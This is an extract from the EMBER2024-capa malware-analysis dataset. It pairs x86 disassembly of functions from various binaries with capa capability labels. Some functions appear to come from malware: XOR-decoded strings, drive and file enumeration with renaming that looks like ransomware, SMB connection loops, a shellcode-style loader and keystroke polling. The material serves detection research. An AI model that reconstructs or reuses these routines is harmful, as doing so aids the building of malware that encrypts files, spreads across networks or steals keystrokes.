joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
cmp dword [0x42543c], 0
push ebx
push esi
push edi
jne 0x40e669
cmp dword [0x425838], 0
je 0x40e669
push 0x104
lea eax, [ebp - 0x238]
push eax
call dword [0x425090]
mov edi, eax
cmp edi, 0xffffffff
je 0x40e669
mov ebx, 0xf6
jmp 0x40e530
cmp word [ebp - 0x238], 0x5c
jne 0x40e647
cmp word [ebp - 0x236], 0x5c
jne 0x40e647
cmp word [ebp - 0x234], 0x3f
jne 0x40e647
cmp word [ebp - 0x232], 0x5c
jne 0x40e647
lea ecx, [ebp - 0x238]
call fcn.0040e330
test al, al
jne 0x40e647
mov esi, 0x41
movzx eax, si
push eax
lea eax, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0x680025
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x2a], 0x3a0063
push eax
mov dword [ebp - 0x26], 0x5c
call dword [0x4250b4]
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call dword [0x4252b0]
cmp eax, 1
je 0x40e5c8
inc esi
cmp si, 0x5a
jb 0x40e580
jmp 0x40e647
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x440]
push eax
call dword [0x4253cc]
test eax, eax
je 0x40e647
mov dword [ebp - 0x22], 0x9900bb
xor eax, eax
mov dword [ebp - 0x1e], 0x980083
mov dword [ebp - 0x1a], 0x930082
mov dword [ebp - 0x16], 0xd60092
mov dword [ebp - 0x12], 0x8500d3
mov dword [ebp - 0xe], 0x9700d6
mov dword [ebp - 0xa], 0xd60085
mov dword [ebp - 6], 0x8500d3
mov word [ebp - 2], bx
mov edi, edi
xor word [ebp + eax*2 - 0x22], bx
inc eax
cmp eax, 0x11
jb 0x40e620
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x22]
push eax
push 0
call fcn.0040b980
add esp, 0x10
push 0x104
lea eax, [ebp - 0x238]
push eax
push edi
call dword [0x425148]
test eax, eax
jne 0x40e530
push edi
call dword [0x425398]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ecc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], 0
push 0x80
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call dword [0x425234]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [0x4250bc]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40edb6
call dword [0x425380]
cmp eax, 0x20
jne 0x40ed66
cmp dword [ebp - 4], 1
je 0x40ed24
lea edx, [eax - 0x1f]
mov ecx, esi
call fcn.0040ea80
mov dword [ebp - 4], 1
jmp 0x40ed89
lea eax, [ebp - 0x7c]
push eax
cmp ebx, 1
je 0x40edc8
call fcn.0040eeb0
xor ecx, ecx
mov edx, 0xf6
lea ecx, [ecx]
xor word [eax + ecx*2], dx
inc ecx
cmp ecx, 0x3a
jb 0x40ed40
push esi
push eax
push 1
call fcn.0040b980
add esp, 0xc
xor edx, edx
mov ecx, esi
call fcn.0040ea80
mov ebx, 1
jmp 0x40ed89
call dword [0x425380]
cmp eax, 5
jne 0x40ee8e
cmp dword [ebp - 8], 1
je 0x40ede3
mov ecx, esi
call fcn.00418030
mov dword [ebp - 8], 1
push 0x80
push esi
call dword [0x425234]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [0x4250bc]
mov edi, eax
cmp edi, 0xffffffff
je 0x40ed00
mov bl, 1
push edi
call dword [0x4251e0]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0040ef90
xor ecx, ecx
mov edx, 0xf6
xor word [eax + ecx*2], dx
inc ecx
cmp ecx, 0x3a
jb 0x40edd4
jmp 0x40ee82
mov dword [ebp - 0x54], 0x9700b5
mov ebx, 0xb7
mov dword [ebp - 0x50], 0xd10098
mov ecx, 0xf6
mov dword [ebp - 0x4c], 0xd60082
xor eax, eax
mov dword [ebp - 0x48], 0x9500b7
mov dword [ebp - 0x44], 0x930095
mov dword [ebp - 0x40], 0x850085
mov dword [ebp - 0x3c], 0xb000d6
mov dword [ebp - 0x38], 0x9a009f
mov dword [ebp - 0x34], 0xcc0093
mov dword [ebp - 0x30], 0xd300d6
mov dword [ebp - 0x2c], 0xd60085
mov dword [ebp - 0x28], 0xd600db
mov dword [ebp - 0x24], 0xb500b7
mov dword [ebp - 0x20], 0xb300b5
mov dword [ebp - 0x1c], 0xa500a5
mov dword [ebp - 0x18], 0xb200a9
mov dword [ebp - 0x14], 0xb800b3
mov dword [ebp - 0x10], 0xb300bf
mov dword [ebp - 0xc], 0xf600b2
xor word [ebp + eax*2 - 0x54], cx
inc eax
cmp eax, 0x26
jb 0x40ee74
lea eax, [ebp - 0x54]
push esi
push eax
push 1
call fcn.0040b980
add esp, 0xc
xor bl, bl
cmp edi, 0xffffffff
jne 0x40edb8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
mov edi, ecx
xor esi, esi
mov ebx, edx
mov dword [ebp - 0x7c], edi
mov dword [ebp - 4], esi
jmp 0x40f090
cmp dword [0x425814], 0
je 0x40f17a
cmp dword [0x42599c], 0
jne 0x40f0c3
cmp byte [0x425447], 0
je 0x40f0b9
rdseed eax
mov dword [0x42599c], eax
jb 0x40f0c3
mov dword [0x42599c], 0x666
mov ecx, 0x1f
lea edi, [ebp - 0x128]
mov esi, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
lea esp, [esp]
lea eax, [ebp - 0x128]
push eax
call dword [0x4252e0]
push 0x42599c
lea esi, [eax - 1]
call dword [0x4250b8]
xor edx, edx
div esi
mov ax, word [ebp + edx*2 - 0x128]
mov word [ebp + edi*2 - 0xa4], ax
inc edi
cmp edi, 9
jb 0x40f0e0
mov edi, dword [ebp - 0x7c]
xor eax, eax
push edi
push ebx
mov word [ebp - 0x92], ax
call dword [0x425278]
push ebx
call dword [0x425198]
push ebx
call dword [0x4252ec]
lea eax, [ebp - 0xa4]
push eax
push ebx
call dword [0x425410]
xor eax, eax
mov dword [ebp - 0x2e], 0x53002e
mov word [ebp - 0x1e], ax
lea eax, [ebp - 0x2e]
push eax
push ebx
mov dword [ebp - 0x2a], 0x6e0079
mov dword [ebp - 0x26], 0x700061
mov dword [ebp - 0x22], 0x650073
call dword [0x425410]
mov esi, dword [ebp - 4]
jmp 0x40f226
push edi
push ebx
call dword [0x425278]
mov eax, esi
inc esi
mov dword [ebp - 4], esi
test eax, eax
je 0x40f1e2
mov dword [ebp - 0x1c], 0x9a00d3
mov ecx, 0xf6
mov dword [ebp - 0x18], 0xd80083
xor eax, eax
mov dword [ebp - 0x14], 0x8f00a5
mov dword [ebp - 0x10], 0x970098
mov dword [ebp - 0xc], 0x850086
mov dword [ebp - 8], 0xf60093
lea ecx, [ecx]
xor word [ebp + eax*2 - 0x1c], cx
inc eax
cmp eax, 0xc
jb 0x40f1c0
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xa4]
push eax
call dword [0x4250b4]
add esp, 0xc
jmp 0x40f218
xor eax, eax
mov dword [ebp - 0x40], 0x53002e
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x3c], 0x6e0079
push eax
mov dword [ebp - 0x38], 0x700061
mov dword [ebp - 0x34], 0x650073
call dword [0x4250b4]
add esp, 8
lea eax, [ebp - 0xa4]
push eax
push ebx
call dword [0x425410]
push 8
push ebx
push edi
call dword [0x42515c]
test eax, eax
jne 0x40f2dc
call dword [0x425380]
cmp eax, 0xb7
je 0x40f090
mov dword [ebp - 0x78], 0x9700b5
mov ecx, 0xf6
mov dword [ebp - 0x74], 0xd10098
xor eax, eax
mov dword [ebp - 0x70], 0xd60082
mov dword [ebp - 0x6c], 0x9300a4
mov dword [ebp - 0x68], 0x970098
mov dword [ebp - 0x64], 0x93009b
mov dword [ebp - 0x60], 0xb000d6
mov dword [ebp - 0x5c], 0x9a009f
mov dword [ebp - 0x58], 0xcc0093
mov dword [ebp - 0x54], 0xd300d6
mov dword [ebp - 0x50], 0xd60085
mov dword [ebp - 0x4c], 0xd600db
mov dword [ebp - 0x48], 0x9a00d3
mov dword [ebp - 0x44], 0xf60083
xor word [ebp + eax*2 - 0x78], cx
inc eax
cmp eax, 0x1c
jb 0x40f2b2
call dword [0x425380]
push eax
push edi
lea eax, [ebp - 0x78]
push eax
push 1
call fcn.0040b980
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4165d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x20
push 8
push dword [0x425ba8]
mov edi, ecx
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x416612
push 0x80
call dword [0x425428]
push 0x20
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x4165f1
push 1
push 0
push 0
push 6
push 1
push 2
call dword [0x4253ac]
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0x41677d
mov ecx, 0x10
lea eax, [ebp - 0x24]
jmp 0x416640
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x416640
push 0x10
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], ecx
push eax
push dword [esi + 0x18]
mov ebx, 2
mov dword [ebp - 0x24], ebx
call dword [0x4253c0]
test eax, eax
jne 0x41677d
push eax
push eax
push dword [0x425a40]
push dword [esi + 0x18]
call dword [0x4252a4]
test eax, eax
je 0x41677d
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov edi, edi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x416690
push 0x1bd
mov word [ebp - 0x14], bx
call dword [0x4251f4]
mov word [ebp - 0x12], ax
mov dword [esi + 0x14], edi
mov dword [ebp - 0x10], edi
lock inc dword [0x425a0c]
push esi
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x18]
call dword [0x425a08]
test eax, eax
jne 0x41677d
mov edi, 0xe1
call dword [0x4252dc]
cmp eax, 0x3e5
je 0x41677d
mov dword [ebp - 0x52], 0x8e00a2
xor eax, eax
mov dword [ebp - 0x4e], 0x8f008f
mov dword [ebp - 0x4a], 0x820084
mov dword [ebp - 0x46], 0xa40095
mov dword [ebp - 0x42], 0xc10099
mov dword [ebp - 0x3e], 0x8f0084
mov dword [ebp - 0x3a], 0x9400b0
mov dword [ebp - 0x36], 0x940084
mov dword [ebp - 0x32], 0xc10084
mov dword [ebp - 0x2e], 0xb300a4
mov dword [ebp - 0x2a], 0xc000b3
mov word [ebp - 0x26], di
xor word [ebp + eax*2 - 0x52], di
inc eax
cmp eax, 0x17
jb 0x416744
lea eax, [ebp - 0x52]
push eax
push 0
call fcn.0040b980
add esp, 8
lea eax, [ebp - 4]
push esi
push eax
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x18]
call dword [0x425a08]
test eax, eax
je 0x4166e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
call dword [0x4253b0]
cmp eax, 0x6f
jne 0x416991
mov esi, dword [ebp - 8]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
jne 0x4167f3
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov ebx, eax
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x4167d0
lea eax, [ebp - 8]
push eax
push ebx
call dword [0x4253b0]
test eax, eax
jne 0x416982
mov dword [ebp - 4], ebx
mov eax, ebx
test ebx, ebx
je 0x416982
lea ebx, [eax + 0x1b0]
push ebx
call dword [0x425030]
mov esi, eax
mov eax, dword [ebp - 4]
add eax, 0x1c0
mov dword [ebp - 0xc], esi
push eax
call dword [0x425030]
mov edi, eax
test esi, esi
je 0x41696f
test edi, edi
je 0x41696f
mov ecx, edi
and ecx, esi
push ecx
call dword [0x4250dc]
not edi
mov esi, eax
or edi, dword [ebp - 0xc]
push edi
call dword [0x4250dc]
mov ecx, eax
mov dword [ebp - 0x14], eax
sub ecx, esi
cmp ecx, 0x10000
jbe 0x41690b
mov ecx, 0xe1
mov dword [ebp - 0x52], 0x9400b2
mov dword [ebp - 0x4e], 0x8f0083
xor eax, eax
mov dword [ebp - 0x4a], 0x950084
mov dword [ebp - 0x46], 0x9300c1
mov dword [ebp - 0x42], 0x8f0080
mov dword [ebp - 0x3e], 0x840086
mov dword [ebp - 0x3a], 0x8400c1
mov dword [ebp - 0x36], 0x820099
mov dword [ebp - 0x32], 0x840084
mov dword [ebp - 0x2e], 0x840085
mov dword [ebp - 0x2a], 0xdb0085
mov dword [ebp - 0x26], 0xc400c1
mov dword [ebp - 0x22], 0xc100b2
mov dword [ebp - 0x1e], 0xc100cc
mov dword [ebp - 0x1a], 0xb200c4
mov word [ebp - 0x16], cx
xor word [ebp + eax*2 - 0x52], cx
inc eax
cmp eax, 0x1f
jb 0x4168e6
mov eax, dword [ebp - 4]
add eax, 0x1c0
push eax
push ebx
lea eax, [ebp - 0x52]
push eax
push 0
call fcn.0040b980
add esp, 0x10
jmp 0x41696f
mov ebx, dword [ebp - 0x14]
cmp esi, ebx
ja 0x41696f
mov edi, dword [ebp - 0xc]
push esi
call dword [0x425344]
cmp eax, edi
je 0x41696a
mov edx, dword [0x425a44]
test edx, edx
je 0x416940
mov edx, dword [edx + 0xc]
mov ecx, dword [edx]
test ecx, ecx
je 0x416940
lea edx, [edx + 4]
cmp dword [ecx], eax
je 0x41696a
mov ecx, dword [edx]
test ecx, ecx
jne 0x416933
mov ecx, eax
call fcn.004165d0
cmp dword [0x425a0c], 0x4000
jle 0x41696a
push 0x80
call dword [0x425428]
cmp dword [0x425a0c], 0x4000
jg 0x416953
inc esi
cmp esi, ebx
jbe 0x416915
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
jne 0x416813
mov ebx, dword [ebp - 0x10]
push ebx
push 0
push dword [0x425ba8]
call dword [0x425290]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a0
lea eax, [ebp - 0x298]
push 0x104
push eax
push 0
call dword [0x425084]
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x4a0]
push eax
call dword [0x425278]
cmp dword [0x425438], 0
je 0x4191de
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x2d0020
push eax
lea eax, [ebp - 0x298]
mov dword [ebp - 0x1c], 0x650072
push eax
mov dword [ebp - 0x18], 0x65006d
mov dword [ebp - 0x14], 0x650078
mov dword [ebp - 0x10], 0x63
call dword [0x425410]
lea eax, [ebp - 0x4a0]
push eax
call dword [0x425198]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x2000000
call dword [0x425294]
push eax
call dword [0x42521c]
test eax, eax
je 0x41935b
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 1
push 1
push 0
push 0x2000000
push dword [ebp - 8]
call dword [0x4251e4]
test eax, eax
je 0x419352
push 0x10
lea eax, [ebp - 0x1c]
push 0
push eax
call dword [0x425384]
push 0x44
lea eax, [ebp - 0x90]
push 0
push eax
call dword [0x425384]
add esp, 0x18
mov dword [ebp - 0x90], 0x44
cmp dword [0x425808], 0
je 0x4192de
mov dword [ebp - 0x40], 0xa5009b
mov ecx, 0xcc
mov dword [ebp - 0x3c], 0xbf00a2
xor eax, eax
mov dword [ebp - 0x38], 0xad00b8
mov dword [ebp - 0x34], 0x9000fc
mov dword [ebp - 0x30], 0xa900a8
mov dword [ebp - 0x2c], 0xad00aa
mov dword [ebp - 0x28], 0xa000b9
mov dword [ebp - 0x24], 0xcc00b8
jmp 0x4192b0
xor word [ebp + eax*2 - 0x40], cx
inc eax
cmp eax, 0x10
jb 0x4192b0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x88], eax
call dword [0x425218]
push 4
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0xc
push dword [ebp - 4]
call dword [0x4253fc]
push 1
push dword [ebp - 4]
lea eax, [ebp - 0xc]
push eax
call dword [0x425094]
push dword [ebp - 4]
push 0
call dword [0x425060]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x4a0]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x298]
push 0x400
push 0
push 0
push 0
push eax
push 0
push dword [ebp - 4]
call dword [0x4253a8]
test eax, eax
je 0x419340
push dword [ebp - 0x1c]
call dword [0x4251e0]
push dword [ebp - 0x18]
call dword [0x4251e0]
push dword [ebp - 0xc]
call dword [0x425150]
push dword [ebp - 4]
call dword [0x4251e0]
push dword [ebp - 8]
call dword [0x4251e0]
mov esp, ebp
pop ebp
ret
Function at 0x402930
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40296b
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x402952
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x402963
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40296d
inc edi
add eax, 0x28
cmp edi, esi
jb 0x402948
xor eax, eax
pop edi
pop esi
ret

Function at 0x4037e1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004028ce
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
call dword [ecx]
Function at 0x1000ee21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000ee30
pop dword [ebp - 0x18]
mov eax, 0x3689a8b7
sub eax, 0x2688ba87
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x35c88
push 0
mov eax, 0xf6806162
sub eax, 0xe67e611e
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3b07
xor ebx, ebx
add ebx, eax
mov esi, 0xb79667b0
sub esi, 0xa792fdb0
add esi, dword [ebp - 0x18]
mov edx, 0xa7cac363
add edx, 0x8ff00208
xor dword [ebp - 0x10], esi
mov edi, dword [esi]
sub dword [ebp - 0x10], 0xfb7e48ed
add edi, edx
add dword [ebp - 0xc], eax
mov dword [ebx], edi
mov dword [ebp - 0x14], 0xa643fe0e
add ebx, 0xe9e9e121
add ebx, 0x16161ee3
add esi, 0x5864c663
sub esi, 0x5864c65f
loop 0x1000ee8b
add eax, 0x9003570d
sub eax, 0x9002781e
xor ebx, ebx
add ebx, eax
add eax, 0x694d7ee9
add eax, 0x96b2811c
mov ecx, 0xf6f1e3af
sub ecx, 0xe6f1e3af
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x10011126
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x10011130
lea esi, [ecx - 0x78]
jmp 0x10011132
xor esi, esi
lea eax, [esi + 0x84]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x1001114e
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x10011201
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x10011213
add eax, 0xffffff84
jmp 0x10011215
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x1002244c
lea ecx, [eax + 4]
call fcn.1000d84d
test eax, eax
js 0x1001127e
cmp dword [ebp + 8], 0
je 0x1001127b
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x10011253
inc edi
push 0x11
call esi
test ax, ax
jns 0x1001125f
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x1001126b
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x1001127e
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x10011294
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x401eb7
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
cmp byte [ecx + 8], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
je 0x401fb7
cmp dword [0x690394], 0
je 0x401fb7
mov eax, dword [ecx + 0x20]
test eax, eax
je 0x401fb7
cmp dword [eax + 0x20], 0
je 0x401fb7
lea ecx, [ebp - 0x30]
push ecx
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [0x690394]
lea eax, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CWnd::ScreenToClient
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ebx, str.ini_Info.ini
push ebx
push 0x20
mov edi, str.ChatFace
push str.FaceW
push edi
call esi
push ebx
push 3
push str.OffsetX
push edi
mov dword [ebp - 0xc], eax
call esi
push ebx
push 0x20
push str.SepX
push edi
mov dword [ebp - 8], eax
call esi
xor ebx, ebx
mov dword [ebp - 4], eax
cmp dword [0x691ccc], ebx
je 0x401f64
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov eax, ecx
sub eax, dword [ebp - 0xc]
neg edx
mov dword [ebp - 4], edx
jmp 0x401f71
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], eax
add eax, 0x20
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0x3c]
mov esi, dword [eax]
cmp esi, eax
je 0x401fb7
cmp ebx, dword [edi + 4]
jge 0x401fb7
mov ecx, dword [esi + 8]
lea eax, [ebp - 0x20]
push eax
call fcn.004023cf
push 0
lea eax, [ebp - 0x20]
push dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
mov esi, dword [esi]
inc ebx
cmp esi, dword [edi + 0x3c]
jne 0x401f8f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4022de
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x5e3d62
call fcn.0059d590
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [ebx + 0x24]
mov dword [ebp - 0x10], ebx
call fcn.00402cc4
xor esi, esi
lea ecx, [ebx + 0x30]
mov dword [ebp - 4], esi
call fcn.00402cc4
mov dword [ebx + 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
lea edi, [ebx + 0xc]
lea esi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
and byte [ebx + 9], 0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push edi
mov byte [ebp - 4], 1
mov byte [ebx + 8], 1
mov dword [ebx + 0x20], eax
mov byte [ebx + 0xa], 1
mov dword [ebx], esi
call sub.MSVCRT.dll_strlen
pop ecx
add eax, edi
push eax
push edi
lea ecx, [ebx + 0x24]
call fcn.004029af
call fcn.0050ed28
push esi
push edi
mov ecx, eax
call fcn.0050ee23
mov esi, eax
push esi
call sub.MSVCRT.dll_strlen
pop ecx
add eax, esi
push eax
push esi
lea ecx, [ebx + 0x30]
call fcn.004029af
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x40f234
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x5e5e3c
call fcn.0059d590
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x2984]
mov dword [ebp - 4], 0x26
call fcn.004df4b4
lea ecx, [esi + 0x282c]
mov byte [ebp - 4], 0x25
call fcn.004df4b4
lea ecx, [esi + 0x26d4]
mov byte [ebp - 4], 0x24
call fcn.004df4b4
lea ecx, [esi + 0x257c]
mov byte [ebp - 4], 0x23
call fcn.004df4b4
lea ecx, [esi + 0x2424]
mov byte [ebp - 4], 0x22
call fcn.004df4b4
lea ecx, [esi + 0x22cc]
mov byte [ebp - 4], 0x21
call fcn.004df4b4
lea ecx, [esi + 0x2174]
mov byte [ebp - 4], 0x20
call fcn.004df4b4
lea ecx, [esi + 0x201c]
mov byte [ebp - 4], 0x1f
call fcn.004df4b4
lea ecx, [esi + 0x1ec4]
mov byte [ebp - 4], 0x1e
call fcn.004df4b4
lea ecx, [esi + 0x1d6c]
mov byte [ebp - 4], 0x1d
call fcn.004df4b4
lea ecx, [esi + 0x1c14]
mov byte [ebp - 4], 0x1c
call fcn.004df4b4
lea ecx, [esi + 0x1abc]
mov byte [ebp - 4], 0x1b
call fcn.004df4b4
lea ecx, [esi + 0x1964]
mov byte [ebp - 4], 0x1a
call fcn.004df4b4
lea ecx, [esi + 0x180c]
mov byte [ebp - 4], 0x19
call fcn.004df4b4
lea ecx, [esi + 0x16b4]
mov byte [ebp - 4], 0x18
call fcn.004df4b4
lea ecx, [esi + 0x155c]
mov byte [ebp - 4], 0x17
call fcn.004df4b4
lea ecx, [esi + 0x1404]
mov byte [ebp - 4], 0x16
call fcn.004df4b4
lea ecx, [esi + 0x12ac]
mov byte [ebp - 4], 0x15
call fcn.004df4b4
lea ecx, [esi + 0x11b8]
mov byte [ebp - 4], 0x14
call fcn.004aea23
lea ecx, [esi + 0x10c4]
mov byte [ebp - 4], 0x13
call fcn.004aea23
lea ecx, [esi + 0xfd0]
mov byte [ebp - 4], 0x12
call fcn.004aea23
lea ecx, [esi + 0xedc]
mov byte [ebp - 4], 0x11
call fcn.004aea23
lea ecx, [esi + 0xde8]
mov byte [ebp - 4], 0x10
call fcn.004aea23
lea ecx, [esi + 0xcf4]
mov byte [ebp - 4], 0xf
call fcn.004aea23
lea ecx, [esi + 0xc00]
mov byte [ebp - 4], 0xe
call fcn.004aea23
lea ecx, [esi + 0xb0c]
mov byte [ebp - 4], 0xd
call fcn.004aea23
lea ecx, [esi + 0xa18]
mov byte [ebp - 4], 0xc
call fcn.004aea23
lea ecx, [esi + 0x8c0]
mov byte [ebp - 4], 0xb
call fcn.004df4b4
lea ecx, [esi + 0x804]
mov byte [ebp - 4], 0xa
call fcn.004b2796
lea ecx, [esi + 0x748]
mov byte [ebp - 4], 9
call fcn.004b2796
lea ecx, [esi + 0x68c]
mov byte [ebp - 4], 8
call fcn.004b2796
lea ecx, [esi + 0x5d0]
mov byte [ebp - 4], 7
call fcn.004b2796
lea ecx, [esi + 0x514]
mov byte [ebp - 4], 6
call fcn.004b2796
lea ecx, [esi + 0x458]
mov byte [ebp - 4], 5
call fcn.004b2796
lea ecx, [esi + 0x39c]
mov byte [ebp - 4], 4
call fcn.004b2796
lea ecx, [esi + 0x2e0]
mov byte [ebp - 4], 3
call fcn.004b2796
lea ecx, [esi + 0x224]
mov byte [ebp - 4], 2
call fcn.004b2796
